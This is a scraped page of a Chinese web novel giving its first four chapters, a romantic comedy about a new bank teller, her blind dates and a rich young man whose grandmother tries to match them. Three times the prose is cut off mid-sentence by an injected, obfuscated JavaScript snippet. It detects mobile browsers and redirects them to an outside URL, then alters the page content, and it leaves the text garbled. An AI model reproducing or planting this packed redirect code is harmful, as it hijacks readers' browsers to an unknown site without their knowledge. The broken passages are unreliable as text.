《天生女主命》 1. 第一章 《天生女主命》 怀鹿修心/著 第一章 “想了很久,还是决定说清楚。你人很好,各方面条件也都不错,但感觉不太合适我,所以还是不耽误你了。祝你早日找到对的人。” 陈盎将网上复制的“如何拒绝相亲对象一百式”粘贴到了对话框中,点击发送。 将手机一扔,仰躺在床上,长长呼出一口气。 很好!解脱! 陈盎心满意足地眯了会儿,睁开眼睛,打了个滚,捞起手机给闺蜜齐馨发消息。 “姐妹,周末约饭吗?” “培训结束了?”齐馨很快回消息。 “嗯。这周五回临城。”由于心情雀跃,陈盎打字的手指都欢快起来,“刚拒绝了我阿姨介绍的那个相亲对象,周末可以来找你了。” 齐馨发了个“啧啧啧”的表情包:“快说说发生了啥?让我高兴高兴!” “也没什么。就是今晚他约我吃火锅,刚到停车场,为一个车位和人吵了起来,还打起来了。对方把他假发薅掉了。” 陈盎当时看着对方一颗光不溜秋的地中海脑袋,差点一口气提不上来,赶紧找了个借口回来。 回到培训的酒店,手机里有对方好几个未接来电,但陈盎实在不想回复,便选择在微信上冷漠无情地拒绝了阿姨口中“千年一遇”的美男子。 齐馨很讲义气:“等你回来,姐们给你介绍,手头资源多的是。” 陈盎抱了个枕头,下巴搁上面:“你说咱们年纪轻轻,怎么就走上了相亲这条不归路。” “临城这种小城市就这样的。你爸妈不让你去外面,不就是想让你早点结婚生孩子嘛。要我说,就该多相,最好一天相他个百八十个,还能挑不到一个满意的?” 陈盎郁闷:“别说我了,你咋样了?” 虽然没看见人,但陈盎从语气中听出齐馨挺了挺胸,一脸骄傲的模样:“我现在相着八个!就是每天聊天有点累,客服都没我忙。” 陈盎惊呆:“八个?这样会不会不太好?” 齐馨不以为然:“现在很多年轻人都这样,刷题式相亲。累死,有时候真的很想建群一起聊。” 陈盎赶紧劝住她:“别,我怕你被人堵学校门口毒打。” 齐馨道:“那你得来救我,从银行偷几箱钱,砸死他们。” 两人吹水了一会儿,陈盎就要洗漱睡觉,明天早起,坐银行的大巴回临城。一个月的入职培训说快也快,据上一届的前辈说,这将是他们职业生涯中最快乐的一段时光。 陈盎怀揣着一些忐忑,又夹杂着一些期待,缓缓入睡。 第二天一早,来自各区县的新人纷纷道别,培训时同桌的姜沫加了陈盎微信,邀请她有空一定要去温城玩,那里有山有海有好吃的,一定不会让她失望。 陈盎笑着应是,让她有空也要来临城,两人依依不舍地分开。 陈盎有点晕车,上车后便戴上蓝牙耳机,望了一会儿窗外变化的风景,睡衣袭来,阖上眼皮。 等到了目的地,还是被同事推醒的。 “陈盎,快点收拾行李回家了,明天记得准时到总行报道。” “好。”陈盎揉了揉额头,下车取行李。 大巴车停在离总行不远处,陈盎一眼就看到自家的老式大众在路边。陈父陈母也看见了她,前后脚下来帮忙搬行李。 坐上车,两人嘘寒问暖,恨不得将她每天吃了什么都问得一清二楚。 陈盎却有点意兴阑珊,潦草敷衍,带着愁绪,眨着眼睫,望向车窗外。 从新城区到老城区,大约二十分钟的距离。玻璃外的景色如电影画面,一帧帧迅速掠过。 临城是一座古城,繁华了千年时光,自从三十年前市中心搬走,便转头向网红旅游方向发展。尤其陈盎他们家居住的古街,更是旅游胜地,每天都有举着彩旗的导游带队,以及乡音各异的游客们。 原本静谧的小巷都充满了烟火气。 陈盎家的小院子,是从太爷爷辈传下来的,翻新过两次,由于具备年代特色、又坐落在古街,不允许大幅度翻修,倒将原汁原味保留了下来。 推开古朴的院门,映入眼帘是一片青石砖铺就的空地,两旁摆满盆栽多肉,夹杂着几株淡粉色月季。 小楼非常简朴,上下两层,陈盎住二楼。 拒绝了陈父的帮忙,陈盎一人吭哧吭哧将行李箱搬上楼,打开镶嵌玻璃的木质窗户,让房间通了会儿风。 陈盎躺在床上,在手机里浏览着附近的餐厅,选了一家古街新开的西餐厅,发给齐馨询问意见,得到回复后,又睡了一会儿,直到陈母进来喊她吃饭。 餐桌上,果不其然,陈父陈母问起了阿姨介绍的相亲对象。 陈盎低头扒拉着碗里的饭,直摇头:“不行!” 陈母问道:“怎么不行?你阿姨说了,她这辈子就没见过长这么标致的后生,追求他的女的能排满一整条街。” 陈盎无语,便将相亲见面的事儿说了。 陈母一拍桌子:“我去找她说话!” “哎别……”陈盎想叫住她,但陈母已经离开饭桌去打电话了,只好叹了口气继续埋头扒饭。 吃完饭,陈盎正想上楼,被陈父叫住。 只见他一脸神秘兮兮地递过来手机,陈盎低头一看,抖音视频,几个花花绿绿的大字赫然映入眼帘——“公务员铁饭碗的二十个好处!”。 陈盎一个头两个大,忙道了声:“我去洗漱了!”转身就跑。 “你这孩子!”陈父在身后失望摇头。 陈盎知道父母的期待。 刚毕业时,陈盎按照他们的要求去考了公,或许是天赋不够,或许是心底不情愿,考了一年也没上岸。她实在在家待不住,随便报名参加了个小银行的考试,倒是顺利过了。 陈父陈母本想她再全职考一年,架不住女儿的软磨硬泡,才松口让先去上班。 陈盎自己其实也不喜欢银行的工作。 临近毕业时,她心底产生一种惶恐,一种不知道自己喜欢什么、该干什么的惶恐,小时候按部就班地读书,每天面临巨大的升学压力,总想着毕业后上班就好了,可毕业后有许多选择摆在面前,她反倒像一只嗡嗡打转的苍蝇,不知道怎么选了。 有句话怎么说来着,走一步,算一步! 既然不知道喜欢什么,那就有件事先干着再说。 第二天一早,陈盎开着老式大众去总行。 新员工上岗前需要进行三个月的培训,陈盎已经在市里集中培训一个月,还要在总行培训一个月,接着会到分配的支行跟着老柜员再学习一个月,才可以正式上岗。 市里的培训比较水,军训、听课、听讲座,陈盎只能说,这一个月过得非常轻松快乐。 但总行培训一个月后会有技能实操考核,陈盎打起精神,不敢再掉以轻心。 一天下来,陈盎点钞点得头晕眼花,和齐馨吃饭时,眼前都冒着练功券稀里哗啦翻过的虚影。 “你们居然还要练习五笔?!”齐馨翻了个白眼,“现在谁还用五笔啊,哎不对,还真有,我上个月遇到一男的,他就用五笔。” 陈盎喝了口橘子汁:“就是我舅妈给你介绍的那个?说是很老实?” 齐馨白眼快要翻到脑后:“不是随便一个呆愣愣、不会说话、长得丑的就叫老实人!老娘还没嫌弃他,那货居然说我丑看不上我,给我结节都气出来了!老娘可是从小被夸到大的貌美如花!” 陈盎呛了下:“当面说的?” 齐馨点头:“所以说啊,咱宁可去追帅的、配不上的,被嫌弃就被嫌弃,也好过被一个丑的嫌弃!唔,陈小盎,你有没有在听?” 陈盎回神:“……其实,我这次去市里培训,遇到一个……有点熟的人。” 齐馨挑眉:“几分熟?” “叶崟。” “叶崟?”齐馨回想起来,“就高中时那个校广播站站长,长得很帅、暗恋者超多的那男的?” 陈盎啄啄下巴:“对,就那男的。” 齐馨恍然大悟:“原来你也暗恋他!藏得够深啊!” 陈盎如临大敌,上半身穿过桌子去捂住她的嘴,面红耳赤:“谁暗恋他了,我没有!别乱说!” 齐馨掰开她的手:“没有就没有,你慌什么?” 陈盎坐回椅子上,托腮思索半响:“好吧,有一点。” 齐馨了然于胸:“正常,我也喜欢帅哥。” 陈盎瞥她:“你也暗恋他?” “我一天刷视频可以心动八百次,不缺他一个。”齐馨搅动高脚杯里的果汁,哎呀一声道,“陈小盎,你现在岂不是近水楼台先得月?” 陈盎垂头丧气:“我不配。” 齐馨恨铁不成钢地锤她一拳:“你不去争取,难道又想被逼着去相亲?去相那种连你舅妈那儿子,叫啥来着,陈小滨?连陈小滨都比不上的男的? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14925095|160458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 陈盎回想起那种灵魂丢失的木偶感,振作了精神:“那我正好趁着这段时间在总行培训,去套一下近乎?” 齐馨满意道:“这就对了,别管成不成,先上!” 然而事实证明还是齐馨想多了。 陈盎直到一个月的培训结束,都没见到叶崟一眼。齐馨倒兴致冲冲地托人打听了,叶崟今年刚从国外回来,直接空降成人事部副总,所以新员工在市里入职培训时,邀请他担任了人事方面的讲师。 “银行他家开的啊?!”齐馨说着说着,狠狠捶了下桌板,“他才几岁,凭啥可以当副总!呜呜呜,陈小盎,你说学校为啥不是我家开的……” 陈盎手忙脚乱地给嫉妒到流泪的齐馨递纸:“我也听说了,他家里好像是大股东。” 齐馨捂住胸口,瘫在她怀里:“还真是他家开的啊,不行,陈小盎,你不能和这种恶毒的资本家在一起!不能背叛咱劳动人民!” 陈盎哭笑不得:“知道了。” * 去分配的支行上岗前一天,齐馨约了陈盎一起去寺庙上香。 齐馨想求财运,建议她求姻缘,陈盎问为什么,齐馨一脸诚恳道:“现在求财运的人太多了,我怕人太多,神仙听不见我的心声,你去求姻缘,人少,神仙一定会听见你的心声,赐你一个又高又有钱还对你深情不已、至死不渝的大帅哥!总之,别和我抢财运。” 陈盎:“……你真是我的好姐妹。” 年轻人在上班和上进之间选择了上香。 从寺庙出来,齐馨瞥见不远处有文创产品店,眼睛一亮一溜烟儿窜过去,陈盎本想跟上,却不想旁边的台阶上传来“哎呦”一声。 回头一看,一个满头银发的老奶奶摔倒在地。 陈盎赶紧跑过去,扶起她:“阿婆,您没事吧?” 老奶奶摇头,陈盎将她扶到一旁的树荫下坐着。此时正值冬日,老人家穿得厚,没摔到骨头,还能走路。 陈盎建议道:“阿婆,您一个人来的吗?我帮你联系下家里人吧,最好还是去医院检查一下。” “不用不用。”老奶奶挥挥手,有点不开心的样子,听到陈盎劝说的话,抬头看了看她,突然眼睛一亮。 “小姑娘,几岁了?” “二十三了。”陈盎拍了拍老奶奶衣角上的尘土,随口回答。 “那应该上班了吧,在哪里上班呢?” “银行。”陈盎觉得这个老奶奶有点八卦,但还是好脾气地回答。 “有对象了吗?” “呃……还没。” 老奶奶眼珠锃亮:“小姑娘,加个微信吧。” “嗯?”陈盎心想这个年纪的阿婆还会用微信,一定是那种有偿给人介绍相亲的媒婆,她这一年可遇见过太多了,于是编了个理由婉拒。 老奶奶露出一脸失望,还想说什么,正好这时,一个穿西装戴墨镜的中年男人急匆匆跑过来,陈盎以为是她家人,于是将刚才摔倒的事说了。 中年男人点头哈腰地道谢。 望着两人离开的背影,陈盎眉间露出点疑惑,齐馨端着两杯文创咖啡悄无声息地回来,将她吓了一跳。 “看什么呢,这两人谁啊?那男的怎么穿的和□□似的。” “不认识。”陈盎摇头,接过咖啡喝了一口,“哪儿有□□,看上去像保镖。” “保镖?”齐馨嗤道,“这得多有钱才能雇保镖?你电视剧看多了吧。” 萍水相逢,陈盎也没那么八卦,两人没再继续好奇,一起吃过饭后就各自回了家。陈盎早早入睡,为第二天的上岗养精蓄锐。 城南支行位于老城区,离陈盎家很近,走路七八分钟到达。 三层旧旧的小楼很符合老城区的特色,裸露的灰色水泥围墙围出一个小院,里面停着五六辆小轿车和电瓶车。 陈盎到的时候,门口一辆黑色运钞车正在“卸货”,见押运员和保安站在门口,便没走过去,低头一看手机屏幕,七点半。 好早。 陈盎忍不住打了个哈欠,为了给行长和同事留个好印象,今天特意起了个大早,想到以后都要起这么早,不禁有点生无可恋。 摸摸肚子,空荡荡的有些难受,陈盎左顾右盼,看见对面有一家早餐店,赶紧小跑过去。 “吱呀——” 锐利的刹车声。 陈盎回过神,锃亮的黑色轿车近在咫尺,她眨了下眼,视线陷入一片黑。 2. 第二章 第二章 陈盎小时候最喜欢在乡下的外婆家过暑假。 陈父陈母中年得女,将她看得比眼珠子重要,只有实在没空的时候,才会把陈盎送到外婆家照看几天。 在乡下的日子,陈盎快活得像只飞出笼中的麻雀。 因为一个人太无聊了,表弟陈小滨年龄相近,还特好欺负,两个人正好玩到一块儿。 有天下午,外婆家的村里来了个算命先生摆摊,外婆带着她和陈小滨去凑热闹,那算命先生戴着副小小的圆片墨镜,很像电影里的江湖骗子。 他一看见陈盎,便大呼道:“此女面相极好,是天生的富贵命啊!将来一定可以数钱数到手抽筋!” 外婆笑得合不拢嘴,将陈小滨往前推了推:“先生,那您看他呢?” 算命先生眉头紧皱,摇了摇头:“这小子将来就是个掏粪的。” 陈小滨年纪小,不明白什么好坏,就觉得有趣,一边转圈跑一边手舞足蹈:“耶,掏粪的,掏粪的,我喜欢掏粪!” 外婆沉了脸色,拉住他,道:“不许胡说,这些都是封建迷信,不能信!” “为什么,我就要掏粪!” “再胡说我打你了!” “……” 外婆苍老又严厉的声音,夹杂着陈小滨撒泼打滚的哭闹声,像遥远的歌谣传送到陈盎的耳朵里。 这是多久远的事情了呢,好久了吧,她都有点忘记了。 童年的画面忽然扭曲,各种声音渐渐消失,陈盎隐隐约约地冒出一个念头,算命先生其实算的挺准。 陈小滨大学毕业后成为了一名肛肠科医生。 而她,即将上岗,天天数钱数到手抽筋。 ……一阵刺眼白光灌入眼皮。 陈盎睫毛动了动,睁开眼。 入眼是两颗陌生的脑袋,凑在一起,紧张的表情在她醒来后,迅速转变为喜极而泣,并发出夸张的惊呼声。 吓得陈盎差点又晕过去。 “你、你们……” “陈盎同志,你可总算醒了!”带头的中年男人激动地握住她的手,“上班第一天就晕倒在单位门口,你可把我们都吓死了!” 陈盎看到他们身上穿的蓝色西服,捋了捋思绪,明白过来,这不就是她素未谋面的同事们啊! 陈盎连忙掀开被子想起身,被另一个中年妇女按住:“小陈,你先好好休息,有什么困难可以找行长或者我。” 陈盎心中了然,中年男人是支行行长,中年妇女是主办会计。 被嘘寒问暖一阵后,陈盎突然意识到一个问题:“我记得,我好像是被一辆车撞了,肇事者呢?” 行长和主办会计对视一眼,道:“在你醒来前,派出所的人来过了,根据调出来的监控显示,车子没撞到你,医院检查了也没外伤,你是应激反应晕倒了。” “应激反应?”陈盎难以接受道,“所以……我是吓晕了?” 主办会计安慰地拍拍她肩膀:“但那辆车主人肯定有责任,放心好了,他这会儿估计也做完笔录快回来,咱必须让他赔礼道歉。” 陈盎没听进去什么,脑子里只有一个念头,她上班第一天……在单位门口吓晕了! 吓晕了! 以后别人提起她,都会说“哦,就那个第一天上班吓晕在单位门口那谁啊”。 陈盎:“……” 陈盎抱住膝盖上的被子,陷入一阵沉默。 “……小陈,小陈?”主办会计在她眼前挥了挥手,担忧道,“看你脸色挺苍白的,打个电话给家里人吧,我和行长还要去总行开会,没人陪着你我们不放心。” “好的。” 陈盎礼貌送走了行长和主办会计,继续躲在被子里抱着膝盖陷入沉思。 她没打算告诉陈父陈母,要是他们知道了,一定又会小题大做,会说她这么大人了过个马路都不会。 然后以后要天天接送她上下班。 陈盎想想就头大,叹了口气,心道算了,还是想想明天上班,别人问起来,自己该怎么回答才能挽尊。 “陈盎。” 安静病房内,突然响起一道低沉悦耳的男声。 陈盎循声望去,白色背景墙,一道挺拔的黑色身影静静站立。冷色调的灯光洒在他脸上,看不清五官和神情。 陈盎揉了揉眼睛:“你是?” “陆屿安。”年轻男人自我介绍道。 陈盎很快明白过来,这就是害得她上班第一天吓晕在单位门口的罪魁祸首! 陈盎觉得自己不能给他好脸色。 这个叫陆屿安的年轻男人似乎也不在意她的脸色,拉了一把椅子坐在病床前,抱起双臂打量她一会儿,才开口道:“你开个价吧。” “什么意思?” “要多少赔偿,我都可以给你。” 听听,听听,这是道歉的态度吗! 明明是他不对,却一副高高在上的施舍语气。 这都是什么祸害! 陈盎气得咬牙切齿地瞪他,然而在看清年轻男人的脸后,不由一怔。 与其用祸害形容他,不如用祸水更恰当。 至少她长这么大,还没在现实生活中见过长这么好看的男的。 “我还有事,你要是没想好,明天再和我说也可以。”陆屿安低头看了眼腕上的表,冷冰冰的语调,宛如冬日的雨滴砸在她头上。 不行,这态度,长得再好看也不行! 陈盎甩了甩头,整理好思绪后,抬头露出一个标准微笑:“这位……陆先生,既然你这么说了,那我要五百万赔偿不过分吧?” 陆屿安闻言皱了皱眉,却立刻道:“可以。” 答应得如此干脆,倒把陈盎整不会了。就算他家里很有钱,五百万随随便便赔偿给她,但这钱拿的心里不安啊。 有钱人最奸诈了,这货不会反手告她敲诈勒索吧? 陈盎警惕心起,道:“开个玩笑而已。我不要你的五百万,道歉,道歉就行了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14925096|160458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>陆屿安却拿起手机,道:“加个微信,把银行卡号发我。” 宁愿给五百万也不愿意道歉是吧! 陈盎紧紧按住自己的手机,直摇头:“不加。我要道歉。” 陆屿安却好似失去了耐心,丢下一句“随便你”便转身离开了。 陈盎:“???” 陈盎气得中午多吃了一大碗米饭。 下午护士来给她办理出院,得知费用陆屿安都已经付过了,因为报了警,她还要去派出所一趟做笔录。 为了不让父母担心,陈盎决定速战速决。 收拾好东西,正要出门,一个满头银发的老奶奶出现在门口。 “小姑娘,是你啊。”老奶奶先一步认出她,走过来,紧紧握住她的手,“这都是缘分呐!” 陈盎回忆起来,这不是昨天寺庙门口碰到的阿婆吗,“您这是……” “都怪我那不争气的孙子!”老奶奶虽然身上穿着病号服,但嗓音中气十足,不像摔伤了的样子。 陈盎见她情绪激动,忙扶着她坐到椅子上。 老奶奶问道:“你们有没有加微信啊?” “谁?加什么微信?”陈盎一头雾水。 “您怎么跑这里来了?”身后,一个熟悉的低沉男声响起,陈盎回头一看,果然是陆屿安。 他微微蹙着眉,或许因为没休息好的缘故,肤色有点苍白。 陈盎以为他和自己说话,道:“你早上不是来看过我了,我说了,不需要赔偿,只要道歉。” 陆屿安却略过她,走到老奶奶身前:“回去病房。” 陈盎这才明白,原来俩人是祖孙关系。 看来陆屿安脾气真的不太好,不仅仅是针对她,对自己奶奶态度也不怎么样。陈盎感觉自己多管闲事的血脉觉醒了,跨出一步,挡在老奶奶面前。 陆屿安抬起眼皮,看她一眼。 陈盎昂首道:“陆先生,这位老人家是你奶奶,出来透透气而已,你用这种命令又责怪的语气说她合适吗?” 老奶奶躲在陈盎背后,不住点头:“就是就是,我这大孙子的脾气早该改了,小姑娘你替我狠狠教训他一顿。” 教训,她是不敢的,但阴阳怪气她在行啊。 陈盎眯起眼睛,皮笑肉不笑:“原来某些人不止我一个看不惯,看来精神损失费五百万不够,得加价了。” 陆屿安目光穿过她的肩膀,道:“您再不回病房,到处乱跑,我就要叫保镖了。” 刚才还中气十足的老奶奶,拍着胸口顺气:“哎呦,哎呦,我胸口好疼……你这臭小子……真是气死我了,还敢威胁我老太婆了。” 陈盎连忙弯腰抚着她的背顺气。 陆屿安皱了皱眉,快步走过去按下床头的铃,和陈盎一左一右给她拍背顺气。 医生和护士不一会儿就来了,陈盎本想跟过去,却被陆屿安拦下。 “这是我家的私事,就不打扰你了。还有,赔偿的问题,尽快给我一个答复。” 3. 第三章 第三章 陈盎从派出所出来,正好是银行的下班点。 天色已然擦黑。 好在,总算结束了混乱的一天。 陈盎长长松了一口气,拿出手机拨通齐馨的电话,一顿吐槽。 齐馨听完后却道:“五百万,那可是五百万啊!我打一辈子的工都攒不下那么多钱!从天而降的巨款你不要?!要啊!凭啥不要?!天呐,陈小盎,我今天早上怎么不和你一起去买早餐,在哪条街,下次叫我!” 陈盎扶额:“其实他也没撞到我,皮都没破。” “但把你吓晕在单位门口了,精神损失费不要的嘛!而且人家还上赶着赔偿,去哪儿找这种冤大头。” 陈盎想了想,道:“我觉得还是算了,他没素质,我有素质。” 齐馨痛心道:“素质值五百万吗?!为什么被吓晕的不是我。要是我,今晚上就辞职不干了。” 陈盎知道她这份工作做得很痛苦,但自己也毫无办法,如果自己是个富婆,直接给齐馨开个学校就好了,而不是像现在,只能劝她快放寒假了,再忍忍。 挂完电话,陈盎走到了老街入口。 高高的城墙、沿街的商铺,已经开始挂上红彤彤的灯笼了,俨然有了一丝过年的氛围。 这时,手机震动了下,点开一看,原来是新员工群里有人发了红包。 陈盎再一细看,发红包的是叶崟,祝贺他们这一批新员工正式上岗。 这个群是过了面试后建的,那时候她就看到了叶崟这个名字,心道不会这么巧吧,没想到还真就这么巧。 陈盎点进他的头像,犹豫再三,申请加了好友。 过了一分钟,没有动静。 又过了一分钟,仍旧没动静。 陈盎有些失望地吸了口气,将手机揣入兜里,心道,随缘吧随缘吧。 * 正式上班的第二天,陈盎终于顺顺利利跨入了银行大门。 接钞结束后,离营业时间八点还有二十分钟。 行长组织大家开了个短会,一来是欢迎陈盎加入城南支行这个大家庭,二来是布置下个月的开门红任务。 听着一大堆连名词都听不懂的任务,陈盎已经隐隐感觉压力山大。 支行安排给她的师父也是个女生,二十七八模样,见她一脸郁闷,小声安慰道:“我刚来也是这样的,别太担心,等你熟悉业务、积累客户后,做起来就没那么难了。不过有一说一,现在的银行和以前的确不能比,钱越来越少,任务越来越重了。” 女生叫言欣欣,为人热情,开门营业前,交代了很多注意事项。陈盎一一记在随身携带的笔记本上。 卷帘门拉起,一堆等候已久的阿公阿婆冲了进来。 乍一看有二十几个人,但柜台只有三个,玻璃前很快排起了长队。 陈盎坐在言欣欣旁边看她办业务,小声问道:“不是有取号机吗?怎么大家都不取号?” 言欣欣办业务的速度飞快,抽空回答道:“这两天是发养老金的日子,每个月就这时间点人最多,叫号太慢了,上次这些阿公阿婆因为叫号的事情和保安吵起来,所以这两天人多的时候干脆不叫号了。” 陈盎点头:“我知道了,这就叫做灵活变通。” 言欣欣笑道:“就是这样,真聪明!” 一天下来,言欣欣办理了一百五十多笔业务,陈盎帮忙清钞,累是不累,但几乎没闲下来的时候。 总行规定新员工必须跟班一个月,才能正式上柜,陈盎倒是希望这个新人保护期能再长一些。 城南支行总共十六个员工,一个行长,一个主办会计,三个客户经理,一个理财经理,五个柜员,两个大堂经理,两个保安和一个烧饭阿姨。 人不多,在食堂吃个午饭的功夫,陈盎就把今天上班的人都认全了。 行长乐呵呵道:“咱们行增加了新力量,下个月的开门红一定名列前茅。小陈刚来,有什么不懂的大家要多帮帮忙啊。” “那肯定的!” “哎,小陈,你几岁了?哪里毕业的?家住哪里?有对象了吗?” “老蒋你干嘛,人家小姑娘刚来,你就打听这打听那,也不怕吓着人家。” “我这不是关心同事吗,要是有合适的,我还想着帮小姑娘介绍哩。小陈,我这人有什么说什么,你别介意啊。” 陈盎忙道不介意。 所有人都很热情,烧饭阿姨还多给了她一个鸡腿。 陈盎心里松了口气,还好,至少同事人都挺好的。 就是有点八卦。 下午五点,卷帘门的营业结束。 陈盎陪着言欣欣一起整理传票,两人还要负责接钞。等运钞车的功夫,两人聊了一会儿发现很投缘,逐渐熟络起来。 言欣欣问道:“小盎,有没有在准备考公啊?我看咱们行这两年新来的员工,已经考出去好几个了,像你这种刚毕业不久,还有学习的劲头儿。” 陈盎摇头:“我没这个想法。” 言欣欣道:“但你父母肯定想让你考公。” 陈盎问:“你怎么知道?” “都这样。我男朋友在城北支行,那边比我们这儿都忙,但他天天复习考公到晚上十二点,我看着都心疼。还不是因为他父母瞧不上银行的工作。” “那你在考吗?” “我不打算考了,就在这儿呆着吧。这几年手头也积累一些资源了,年底奖金比较多,等我男朋友上岸了,他负责稳定,我负责赚钱吧。” 陈盎感觉她很有规划的样子,比起自己现在毫无方向,心里不禁多出几分羡慕。 送完钞,锁好门,回到老街,已经将近六点。 几个邻居吃过晚饭,在小院里坐着和陈母闲聊,见陈盎一身蓝色西服西裤回来,纷纷一脸新奇地打量。 “哎呀,小盎,听说你现在在银行上班啊,怎么样,工作累不累?” “银行哪会累,坐在那里数钱就行了,多舒服。” “银行工资很高吧,我外甥家的小舅子也是银行的,听说一个月两万块钱呢。” “……” 陈盎勉强笑笑,闪进屋里,陈父刚把饭菜热好,端到桌上,看见她回来了,赶忙招呼吃饭。 不一会儿,陈母也进来,小声问道:“小盎,你今天去上班,你们行长有说工资给开多少?” 陈盎低头扒饭:“我试用期就一千六,再说了,工资都是固定的,不是行长说了算。” 陈母道:“我就说,那个林婶肯定在吹牛,还两万块一个月。” 陈盎道:“别人任务完成的好,奖金多的,的确有。” “什么任务?” 陈盎搁下筷子,点开手机上的文档,给他们看:“这是这个月的任务,月底拉三十万存款,还有办两张信用卡,你们帮个忙?” 陈父取来老花镜戴上,问道:“你们是月月有任务?” 陈盎点头。 “一个月两个月就算了,每个月都要完成任务,把家里搬空了也没这么多钱。”陈父陈母这才意识到银行没那么好混的。 于是两人一致得出结论,陈盎明年一定要考公上岸。 本想将他们一军的陈盎:“……” * 第二天下班,又是陈盎和言欣欣接钞。 对私柜员上四休二,言欣欣明天休息,陈盎跟着她的排班来,想到也可以休息两天,整个人顿时容光焕发了。 等送走押运车,锁好里里外外的门后,陈盎和言欣欣道别,没走几步,感觉有一道视线注视她。 陈盎一转头,看见一个眼熟的身影。 本想装作没看见,可那人却径直走来,并准确叫出了她的名字。 陈盎只好硬着头皮打招呼:“陆先生啊,找我什么事?“ 陆屿安朝她挥了挥手里的一张纸。 陈盎看见一枚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14925097|160458||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鲜红的公章,顿时心里一喜,这不是失踪的报到证吗,找了一天了,还以为要去重弄,没想到在他手里。 陈盎伸双手去接。 陆屿安轻轻放在了她掌心。 陈盎说道:“还以为丢了,原来是昨天落在医院了,这次谢谢你了啊陆先生。” “嗯。”陆屿安不咸不淡地应了声,正要转身离开。 “对了,你奶奶怎么样了?”陈盎想到他大老远的来给自己送报到证,犹豫要不要请人家吃晚饭。 陆屿安却盯了盯她,突然问:“你要不要去看看她?” “嗯?”陈盎觉得自己和他们不熟,好像没什么必要去探望,但是人家都这么问了,有点不好意思道,“按理说应该要去看看她老人家的,不过我刚下班,没来得及买什么东西,空手去不太好吧。” 陆屿安道:“现在去买来得及。” 陈盎:“?”这人真没听出来她在客套吗? 一点也不想和他同屏出现! 直到提着果篮,坐上陆屿安的车,陈盎才后知后觉地反应过来,这个陆屿安还欠着自己五百万呢,她晕倒的时候也没见他来探望,现在倒让她先去探望他奶奶了。 脸真大。 陈盎气闷。 陆屿安迅速睨了她一眼,道:“随便坐一个陌生男人的车,不怕我把你卖掉吗?” 陈盎:“那你停车,我现在就要下车。” 陆屿安:“给你一个提醒,下次记住不要随便坐陌生人的车,很危险。还有,多学习交规,这里不能停车。” 陈盎觉得自己再和他多说几句话,真的要被气死。 于是干脆扭过头,闭上眼睛,用行动表明自己不想再和他说一句话。 市一院不远,十几分钟就到了。 下了车,陆屿安帮她提果篮,陈盎提醒道:“等会儿见了你奶奶,要和她说是我买的,否则她会以为我和你一样。” 陆屿安顿住脚步,侧眼看她:“和我一样什么?” 陈盎低头整理围巾,头也不抬道:“和你一样没素质啊。” 陆屿安:“……” 陆屿安扭头就走,加快脚步,一点等她的意思都没有。 陈盎心道,果然没素质,被她说中破防了吧。 陆奶奶住的单人病房,被贴心照顾着,房间里摆了许多鲜花和水果,陈盎进去的时候,没闻到刺鼻的消毒水味,反而鼻尖萦绕着一股淡淡的香味。 “小盎来了啊。”陆奶奶见到她眼睛一亮,热情地招呼,“快坐快坐,人来了我就很开心了,还带东西做什么?吃饭了没?” 陈盎笑着和她寒暄几句。 听说她没吃饭,陆奶奶催促陆屿安去买饭,拉着陈盎的手亲亲热热,道:“小安啊,我和你说过的,小盎这孩子,见她第一面就觉得善良又漂亮,看,多好的一个孩子啊,你说是不是?” 陆屿安站起身,道了声“我去订饭”,就推门出去了。 陈盎有点莫名其妙。 陆奶奶却欣喜地说个不停,可以看出来,陈盎来看她,她确实很开心。陈盎不想拂了老人家的好意,决定还是等吃完饭再走好了。 陆屿安打完订餐的电话,走进了病房。 陆奶奶拼命给他使眼色:“小安啊,坐那么远干嘛,还不坐过来一点,大家一块儿聊聊天多好。” 陆屿安道:“您这两天不是说看见我就气饱了吗,我坐得近了,怕影响您胃口。” 陆奶奶道:“我是这个意思吗。还不是你一把年纪了不结婚,害得我老太婆晚上操心得睡不着,睡不着就抵抗力下降,这才住院了。” 陆屿安抱起双臂,道:“我看你昨天晚上睡那么香,睡眠质量比我还好。” 陆奶奶不承认:“那是例外。” 陆屿安冷笑一声:“好,那我和陈盎今晚就蹲你床头,看你到底睡不睡得着。” 陈盎:“?”哎不是,关她什么事啊? 4. 第四章 第四章 回到家洗漱完,陈盎终于得空躺在床上看一眼手机。 打开微信,发现最顶上的对话框是一个期待已久的头像。 ——叶崟通过了好友申请。 陈盎咻得一下子坐起来,抱着手机,心脏开始砰砰跳。 ——学长你好,我是你高中时的学妹,不知道你还记得我吗? 